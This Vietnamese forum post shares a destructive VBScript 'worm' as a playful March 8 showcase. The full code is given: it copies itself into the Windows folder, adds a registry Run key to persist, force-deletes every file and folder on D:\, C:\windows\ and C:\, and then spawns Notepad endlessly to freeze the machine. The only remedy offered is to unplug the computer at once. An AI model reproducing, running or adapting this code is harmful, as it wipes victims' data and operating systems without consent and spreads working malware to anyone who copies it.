Chơi worm vbs, tác dụng củng tầm tầm
 

Đã bị nhiều người chửi mắng vì 1 con vi rút, chỉ cho coi thử, khồn cho mở mà cứ mở xong rồi chửi ng ta, mà không sao, nhân diệp 8\3 muốn show 1 con worm vbs nhẹ nhẹ
Nói sơ sơ: có tác dụng del ổ C + D và C:\Windows
nho nhỏ thôi, máy tính không có đóng băng là thấy cảnh, đã text đối với có đóng băng, đứng máy do liên tục mở notepad

Code như sau:
msgbox"rút điện ra nhanh lên !" 'Cai nay co tac dung se tao 1 hop thong bao tren man hinh cua nan nha
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"

On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub

On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub

On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub

On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop


cách cứu ổ cứng là tút điện ra ngay




Thấy hay thì thank dùm em 1 phát nha các bác :))